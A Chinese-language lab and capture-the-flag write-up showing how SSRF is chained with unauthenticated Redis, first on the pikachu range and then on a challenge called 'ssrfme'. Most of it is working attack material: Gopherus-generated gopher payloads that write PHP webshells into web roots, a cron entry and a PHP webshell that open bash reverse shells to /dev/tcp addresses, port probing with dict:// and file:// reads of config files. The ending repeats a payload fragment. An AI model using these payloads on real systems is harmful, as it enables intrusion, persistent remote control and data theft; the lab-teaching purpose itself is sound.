ssrf+redis未授权访问漏洞复现
一,pikachu靶场练习
docker拉取环境:
docker run -d -p 8765:80 8023/pikachu-expect:latest
国内很多加速源都用不成,配置代理拉取即可,配置方式如下:
1,新建目录
mkdir -p /etc/systemd/system/docker.service.d2,新建文件,粘贴并内容,并保存!
vim /etc/systemd/system/docker.service.d/http-proxy.conf
以下粘贴内容,IP一定要换成你代理软件运行的电脑的内网IP,通过ipconfig可以查看
端口一定要是代理软件设置的局域网端口!
[Service]
Environment="HTTP_PROXY=http://192.168.8.125:10819"
Environment="HTTPS_PROXY=http://192.168.8.125:10819"
Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com" 3,重启Docker
systemctl daemon-reload
systemctl restart docker
ssrf是什么,怎么用?
ssrf:服务器请求伪造漏洞,有一个参数,这个参数可以接收一个网址,可以在本地页面解析,解析过程 中没有进行过滤。
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec() 请求网址
就像这样,可是这样好像也没什么用。
curl支持很多协议,有ftp,ftps,http,https,gopher,telnet,dict,file以及ldap
dict协议:探测服务 ?url=dict://127.0.0.1:3306
此时读出来一些东西,改成3307没内容。证明dict协议可以去探测内网端口。
主要探测:fastcgi服务,可以去实现recredis服务,6379端口,配合redis未授权访问,redis低版本下,很多人会设置访问密码,且安全模式关闭的情况下,我们可以:1.写入webshell(前提知道物理路径)2.写入任务计划,反弹shell 3.写入公钥,直接登录服务器。
file协议可以读取文件
?url=file:///var/www/html/inc/config.inc.php
这里读取到了数据库连接文件,前提是:知道路径文件名,看你的当前权限
gopher协议
可以发送get和post请求
获取gopherus工具:
克隆仓库:
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
进入Gopherus/目录下
chmod +x install.sh
sudo ./install.sh
执行安装脚本
由于此工具使用的是python2环境,安装时还会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi
克隆仓库过程中会出现请求不到网址,只需要配置代理即可
git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口
安装成功!
gopher工具介绍:
如果您知道某个地方容易受到 SSRF 攻击,那么此工具将帮助您生成 Gopher有效载荷,以利用SSRF,并获得 RCE(远程代码执行)
工具使用–写入webshell:
root@yfy:~/Gopherus# gopherus --exploit redis
//我们选择攻击redis________ .__/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\______ /\____/| __/|___| /\___ >__| |____//____ >\/ |__| \/ \/ \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell):PHPshell
//你要反弹shell还是写入phpshell
Give web root location of server (default is /var/www/html):
//你要写入的根路径是哪个?
Give PHP Payload (We have default PHP Shell): <?php phpinfo();
//你要写什么样的webshell?
Your gopher link is Ready to get PHP Shell:gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A这段编码的意思是用rides格式,把<?php phpinfo();写入到shell.php文件中,存储在网站根路径/var/www/html 内存数据落盘。
工具使用–写任务计划反弹shell:
What do you want?? (ReverseShell/PHPShell): ReverseShellGive your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.81.132
//反弹到那个接口/
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :
//写到那个目录
Your gopher link is ready to get Reverse Shell:gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.132/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A解码后:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.81.132/1234 0>&1"
任务计划:一分钟执行一次,反弹shell到192.168.81.132/1234端口*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save意思为把反弹shell的任务计划写到/任务计划目:var/spool/cron/下的root文件里,以root权限执行我们的任务计划。
二,2月公开赛Web-ssrfme
【题目考查的技术点】
- SSRF
- redis未授权访问
- SSRF攻击内网主机上的redis
经过测试存在ssrf
http://192.168.81.132:8091/?url=www.baidu.com
但是源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。
目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:
查看phpinfo,如下图,可以看到当前主机的内网ip为172.18.0.3:
探测一下172.18.0.3上开启了那些服务,使用burpsuite:
http://192.168.81.132:8091/?url=http://172.18.0.3:1234
发现172.18.0.3主机只开放了80端口,放弃这台。
然后我们便可以探测该网段上存活的主机了(可以用burp,但这里手动测试即可):
?url=http://172.18.0.1 # 无存活
?url=http://172.18.0.2 # 发现另一存活机器
?url=http://172.18.0.3 # 当前机器
当我们测试到 172.17.0.2 时,返回了“Go away”:
说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:
发现开发6379端口,说明这台内网主机上还运行着redis服务
redis 未授权访问攻击
接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。
github上有目录爆破词典
用gopherus工具生成playload
写入路径为/var/www/html/upload
内容为<?php system('cat /flag'); ?>gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A进行二次编码:
gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
然后使用ssrf访问这个内网的shell.php即可得到flag
http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php
我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.130/14321 0>&1'"); ?>gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2482%0D%0A%0A%0A%3C%3Fphp%20exec%28%22/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.81.130/14321%200%3E%261%27%22%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A需要二次编码
反弹shell成功,拿到flag!
%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
需要二次编码
[外链图片转存中...(img-s0Q8mVuE-1724773738830)]反弹shell成功,拿到flag!